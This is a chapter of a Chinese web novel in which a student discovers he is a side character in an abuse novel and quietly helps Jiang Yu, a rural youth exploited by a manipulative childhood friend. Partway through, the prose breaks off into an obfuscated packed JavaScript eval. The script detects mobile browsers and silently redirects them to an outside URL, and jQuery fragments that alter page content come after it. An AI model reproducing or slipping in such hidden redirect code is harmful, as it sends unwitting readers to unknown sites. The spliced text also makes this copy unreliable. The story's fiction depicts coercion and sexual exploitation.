A大男寝楼下。
傍晚六点,路灯点亮,牵出灯下两道瘦长人影。
白应初看向身侧男生。
他年龄很小,不合身的旧外套松松垮垮,挂在他单薄的肩头,肥大运动裤的裤脚盖住半只鞋,抬手将手机贴在耳边时,袖口露出的一小截腕骨,瘦削突出。
听筒内的嘟声响了好几轮,对面仍然没有接通。
姜雨侧身背对白应初,一头发丝乌黑浓密,压过眼睛和耳鬓,看不清神情,清瘦的背影透出几分紧绷。
在他脚边的地上,放着一只颇具年代感的红蓝条纹编织袋,鼓鼓囊囊的,似乎装着棉被,还有两个红色塑料袋装的水果。
现在不是开学季,也不是假期,他的出现和周围环境格格不入。
宿舍楼门口时不时路过几个学生,打量的目光很强烈。
白应初单手插兜,另一只手划拉着手机,无视那些目光,余光却瞥见那双洗得掉色的黑色帆布鞋往蛇皮袋下藏了藏。
白应初把手机塞回兜里,“他不接就别打了,我带你进宿舍。”
他声音低沉,略显冷厉,口吻不容置疑。
白应初从外面回到宿舍楼下,碰见了这位来A大送东西的男生,正巧对方找自己室友,宿舍有门禁,外人进不去,白应初提出帮忙。
姜雨捏着手机转身,被刘海半遮不遮的眉眼迎着灯光,撞入白应初眼中。
巴掌大的小脸干净俊秀,眼眸浸透了路灯的光,乌黑发亮,圆润的弧度像小动物。
只是因为主人不善展露自己的优势,这张脸经常带有几分沉闷。
他迅速垂眼,脸尖向下埋进半寸,“打扰了。”
宿舍楼没有电梯,白应初的宿舍不巧在顶楼六层,两人一起爬楼,白应初提出帮忙被拒,对方兀自扛着蛇皮袋,腾出一只手拎着水果,闷不吭声跟在他身后。
小身板不知哪来的力气,肩头的包裹是他个头的两倍大,硬是稳稳踩上六楼最后一节台阶,最后落在601宿舍地板上。
宿舍四人间只住了三个人,其余两人都不在。
姜雨卸下包裹的一瞬间,汲取氧气的喘息声在寂静的室内放大数倍。
然而下一秒,那声音被主人察觉,一呼一吸刻意放缓了几个度,努力在这个陌生的环境缩小存在感。
秋末气温骤降,空气干燥寒凉,姜雨却浑身冒着热气,刘海被汗水浸湿贴在额头,浅粉的唇多了抹瑰色。
他再次拨打了蒋齐风的电话。
这次响了不到半分钟接通了。
“蒋齐风,我在你宿舍……”
还没说完,就被对方打断。
手机对面那人声音刺耳尖锐,没开外放,白应初坐在自己桌前,背对着姜雨,将听筒内的声音听得一清二楚。
“姜雨?”
“谁他妈让你来学校找我,还进了我宿舍?小心给我惹事!”
白应初耳尖动了动,是室友蒋齐风的声音。
“蒋齐风。”姜雨沉下脸,一字一句:“是你半个月前让我给你送过冬的棉被,我也和你说过要来这里找工作……”
再次被打断。
那边仿佛意识到失态,变了个人似的缓声:“行了行了,是哥的错,我想起来了,东西放下就走,别多待。”
“嘟”地一声,电话被火急火燎挂断。
白应初不经意旁观了一场好戏,不着痕迹地换了个姿势。
姜雨眉头皱了皱,蒋齐风那头很嘈杂,快节奏的音乐震天响,混着许多陌生人夸张的叫喊声。
若是一周前,还在小县城打工的姜雨或许不知道蒋齐风正处于什么场合。
来到这个城市落脚,姜雨找到的第一份工作就在离a大附近一家酒吧。工作一周,他对那里的气氛再熟悉不过。
可蒋齐风没给他询问的机会。
姜雨弯腰整理行李,把棉被和干净的被套从袋子里掏出来,费力地举起,扔到蒋齐风床铺上。
A市的冬天向来干冷,学校还没到开暖气的时候,可能是小时候挨过冻的缘故,蒋齐风人高马大,身材壮实,却受不了一点冻。
棉被在院子里的晾衣绳上吸饱了阳光,展开后蓬松绵软,隐约能嗅到暖洋洋的气味。
袋子里的是老家后山上摘的柑橘,姜雨自己吃不完,带给蒋齐风,还能分给同学,算是自家特产。
想到这里,姜雨从红艳艳的塑料袋里抬起脑袋,看向带他进来的这位同学。
男生肩背宽阔,运动外套穿出了模特效果,坐姿随意慵懒,无论从哪个角度看,都十分英挺帅气。
但他周身萦绕着一股冷冽的气息,不好惹,胆怯的人只会望而却步。
白应初坐在电脑前,修长灵活十指在键盘翻飞,耳机放在他的左手边,屏幕上倒映着他专注的面孔,仿佛没有听见刚才的电话声,也没被身后收拾东西的动静吵到。
姜雨挑了三个最好看的柑橘,颜色黄澄澄的,再抬头时,游戏界面刚好显示胜利,一局结束。
“老家山上种的柑橘,很甜……”姜雨试探问:“要不要尝尝?”
清新的橘香扑鼻而来,白应初抬起眼皮,姜雨手捧橘子站在他身侧,湿漉漉的发丝黏在鬓角,眸子黑亮,直白的情绪让人一眼看透。
这时,他身上那股沉闷感消失了,有着截然相反的灵动和纯粹气息。
白应初意外顿了顿,伸手接过。
“谢了。”
姜雨面上无波,眼尾弯出了一个好看的弧度。
他拎着袋子,又往另一个室友的桌上放了三个柑橘。一只塑料袋空了,被搓成一团塞进裤兜。
转身时,一只骨节分明的手杵在姜雨面前,宽大的手掌托着湿巾纸包递过来。
白应初淡淡道:“脸上有汗,擦擦。”
-
室内空气染上一股好闻的橘子香。
陈淼抱着篮球回到宿舍,一眼就瞧见桌上的柑橘。
“哪来的橘子,大蒋女朋友给的?”陈淼拿了一颗在手上颠着玩,“不知道这玩意甜不甜,我可是一点酸的都吃不来。”
他们宿舍三人中,也就蒋齐风有对象,听说是个白富美,不是他们学校的。
而且蒋齐风最近经常夜不归宿,神神秘秘的,陈淼至今也没见到他女朋友长什么样。
“甜。”白应初没回头。
陈淼剥皮的动作一顿:“真来咱宿舍啦,怎么样,是不是大美女?”
“男的。”白应初瞥他一眼:“不吃给我。”
陈淼猛地往嘴里塞了半个,清甜的汁水在嘴里爆开。
翌日早上七点多,蒋齐风才从外面回来。
蒋齐风是典型的虎背熊腰长相,人高马大,骨架粗壮,好在体重维持的比较合适,乍一看也是个粗犷的帅哥,很多人就爱他这型。
他穿着昨天的衣服,身上的运动衫皱巴巴的,除了烟酒味,还有股浓重的女士香水味,像刚从女人被窝里钻出来风流鬼。
陈淼眯眼将蒋齐风上上下下看个遍,从蒋齐风领口下捉到好几个颜色深重的吻痕:“我靠,玩的够野啊。”
白应初从操场跑完圈回来,找出换洗衣服进浴室,经过蒋齐风身边时多看了两眼。
蒋齐风挠挠寸头,小麦色的脸庞上泛起两抹红:“没,就去约会了。”
陈淼笑得贱兮兮,要蒋齐风传授经验。
蒋齐风不经意间透露女朋友对他出手阔绰,会撒娇爱粘人。
陈淼开了一嘴玩笑,说让蒋齐风介绍女朋友的闺蜜。
蒋齐风笑道:“我女生缘一般,应初身边资源要多少有多少。”
“得了吧。”陈淼说:“你又不是不知道,和白哥站一块儿,咱都是陪衬。”
陈淼性子大大咧咧好相处,跟谁都能当兄弟。宿舍关系看似融洽,其实都是陈淼在中间当桥梁。
蒋齐风闻言眼底暗沉一瞬,直到陈淼说有人给他送东西,才反应过来。
“是我老家亲戚,大老远来投奔我,非要送点橘子什么的,指望靠我在A市定下来,唉……”
“他高中没毕业就辍学了,性格不好,没什么大出息。”
“不过人都来了,我多少也得帮忙。”
陈淼:“你一个学生能帮什么忙,这种闲事还是少管。”
白应初从浴室出来,擦着湿发听完了两人对话,视线停在蒋齐风身上,嘴角嘲讽地扯了扯。
昨天那个男生手机听筒里的蒋齐风,可不是这种热心肠的好人。
白应初和蒋齐风做了一年多的室友,看得透他人面兽心的伪装,实在反胃。
那位送柑橘的老实人被蒋齐风骂得狗血淋头,属实是一个愿打,一个愿挨,怨不得别人。
“应初,听说昨天是你把他带进来的。”蒋齐风不好意思道:“他脾气臭,不怎么搭理人。没给你添麻烦吧?”
白应初沉默片刻,狭长眼尾透出凌厉味道,仿佛穿透人心。
“那小孩挺乖。”
乖是乖,上赶着被烂人欺负。
离早课开始只剩十五分钟,陈淼冲进卫生间。
在白应初看不到的地方,蒋齐风面无表情拎起桌上那个突兀的红色塑料袋,低声抱怨:“老家的橘子又酸又苦,比不上市场卖的,说了不要……”
“哐当!”
重物坠落的声音。
新鲜饱满的柑橘掉进了红色垃圾桶的血盆大嘴。
-
A大附近新开的酒吧,乐声和鼓点激昂沸腾,暗紫和深□□光游走过每个人的脸庞。
白应初坐在角落的位置,点好了酒,视线扫过人群,最后锁定在某个忙碌的背影上。
他这次带着目的来的。
姜雨穿着修身的黑色制服,手举托盘,心无旁骛地穿梭在人群中。过长的额发让他很不起眼,与灯光照不到的暗影处融为一体。
前段时间,白应初断断续续做了一个梦。
后来梦做完了,他才发现自己身处一本虐文小说中,小说名为《人渣的眼泪》。
好巧不巧,书里的人渣主角,叫蒋齐风,一位来自贫穷山村的大学生,是白应初的对床室友。
白应初在小说里也有戏份,是一个对照组炮灰,家世比蒋齐风好,身材长相比蒋齐风优越,人也比蒋齐风傲气,勾起了蒋齐风内心深处阴暗的自卑感。
他不顾一切想要成为这座城市的光鲜亮丽的那类人,寻求短时间上位的捷径。
他嫉妒白应初,也疯狂地羡慕着,白应初的一举一动都是他参考的范本。
白应初并未察觉,被蒋齐风良善的外表欺骗,心生
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529244|170803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好感,后来成为替他打发土包子竹马的工具人。
一个人有野心不足以成为人渣,而蒋齐风的野心和前程,皆由背后一人的悲剧成全——与蒋齐风同甘共苦十几年的小竹马姜雨,也是文里被虐地体无完肤的另一位主角。
同出小山村,他们一个没了娘,一个死了爹,但蒋齐风的日子远比姜雨更凄苦。
蒋齐风十岁母亲去世,好吃懒做又酗酒的爹不管儿子死活,十天半个月不归家,偶尔回一次,蒋齐风闹得厉害了,就打一顿,然后扔到邻居家门口。无赖的意思很明显,要么给口饭吃,要么眼睁睁看着他饿死。
这个倒霉邻居就是姜雨的母亲。
母亲能干,独自把姜雨养大,又照顾着姜雨的奶奶,后来又接济了蒋齐风,把他当半个儿子养。
直到姜雨十六岁那年,奶奶久病离世,母亲意外去世,姜雨短时间失去所有亲人,茫然不知所措。
蒋齐风比姜雨大一岁,心思却很重,他哄骗姜雨辍学,留在县城打工供自己上大学,等他学有所成,养姜雨一辈子。
彼时蒋齐风念高三,即将毕业,姜雨单纯老实,把蒋齐风当自己唯一的家人,便答应下来。
他确实急需用钱,不仅要养活自己和蒋齐风,还急着还清当初奶奶生病欠下的两万块钱,便辍学在县城找了个不限年龄的小厂打工。
后来蒋齐风不放心,给两人之间上了道更加牢固的锁,以防姜雨这个傻鸭子从嘴边飞走。
他不知怎么发现姜雨喜欢男人这件事,内心厌恶鄙夷,表面却暗示引导,含糊表白,姜雨被哄着答应下来。
老实人就这样被一根胡萝卜吊着,做牛做马,被无尽索取。
直到蒋齐风大二这年,姜雨来到A市找工作,发现蒋齐风和女人不清不楚,当即要断了蒋齐风每月的生活费。
蒋齐风不是一个普通的凤凰男,他是个狠人,也够贪。他借醉酒强行和姜雨发生关系,事后痛哭道歉,用姜雨母亲在世时的情分把他绑死。
没多久,蒋齐风在他挑选的女人身上栽了跟头,欠下几十万的债务,转头又在一家会所冲撞的贵宾,误打误撞卖了姜雨赔罪,将他送上贵宾的床。
将这件事抛之脑后,蒋齐风又阴差阳错攀上了另一位金主。
老实人被欺负到极致,也会爆发。
姜雨得知被骗,妄图和蒋齐风玉石俱焚,可惜最终也只沦为一场意外的牺牲品,死于大雨滂沱的夜晚。
多年后蒋齐风羽翼丰满,脱离金主,恍然发觉姜雨的逝世,留下了一滴鳄鱼的眼泪。
离奇的梦境足够挑起人的好奇心,白应初观望了许久,剧情似缓缓拉开了帷幕。
-
姜雨被经理安排送一位喝得烂醉的顾客出门打车。
男人发酒疯东倒西歪,胡言乱语,和他同行的女生扶不稳,姜雨面不改色地接过人,抓住男人的胳膊,带出酒吧,塞进出租车,一气呵成。
已是深夜,周围商铺的卷帘门大多落锁,酒吧灯牌闪烁艳丽诡谲的光,衬得街角灯光无法覆盖的小巷黑不见底。
姜雨转身往回走,身后冷不丁站着个男人,手上夹着烟,不怀好意地盯着他。
姜雨默不吭声绕过对方,男人脚一跨拦了上来,嘴里烟圈一吐,往姜雨脸上喷,姜雨被熏得捂住口鼻。
“昨晚不是挺能耐的,怎么,装不认识?”
这人是个地痞流氓,昨晚在酒吧手脚不干净,趁别人喝醉想偷东西,被姜雨逮了个正着,当时嚣张不承认,经理来了之后立马变脸装孙子,暗地把姜雨记恨上了。
姜雨:“你想怎么样?”
“好办。”
只见男人突然松了手,燃了小半的烟轻飘飘落在姜雨脚边,一只沾满污垢的皮鞋踩在橙色的滤嘴上左右碾了碾,另一端的火星仍未熄灭。
“赏个面子,抽一口我的烟,这事就算了。”
姜雨紧绷着脸,不发一言。
男人走近两步,打量的视线变得油腻恶心:“这小模样……不想受苦的话,让老子摸两下。”
姜雨如今在酒吧工作,见得多,哪能不知道这流氓话里的意思,他拳头紧了又紧,忽然指着街对面一条漆黑的小巷,说:“去那里。”
巷口处传来一阵拳打脚踢的声音,紧接着是有人被蒙着头,闷闷的求饶声。
很快,一人走出小巷,光影自他胸前斜斜分割,上半身隐没于黑暗。
朦胧的光线照着服务生制服包裹着的笔直双腿,衬衣凌乱,半扎半散在裤腰外,劲瘦的一截腰呼之欲出。
他抬手按了按腰侧,又面不改色地放下,单薄的背影如云层遮挡的月光一般黯淡。
酒吧外不远处,白应初转过身,走向街对面一家正在营业的店。
小说剧情似乎不怎么全面,老实人实力强悍,并不那么好欺负。
柑橘挺甜。
白应初从不白吃白喝别人的东西。
回到酒吧,姜雨去卫生间洗了把脸,冷水流过他的眼睫,再睁眼时,眼眶那点红意消失殆尽,他抹了把脸,整理好衣服出来后,有人叫住了他。
“有人让我把这个给你。”服务生同事往姜雨怀里塞了个纸袋。
他茫然地打开瞧了眼。
里面装了许多医用清创药品,还有一瓶药油。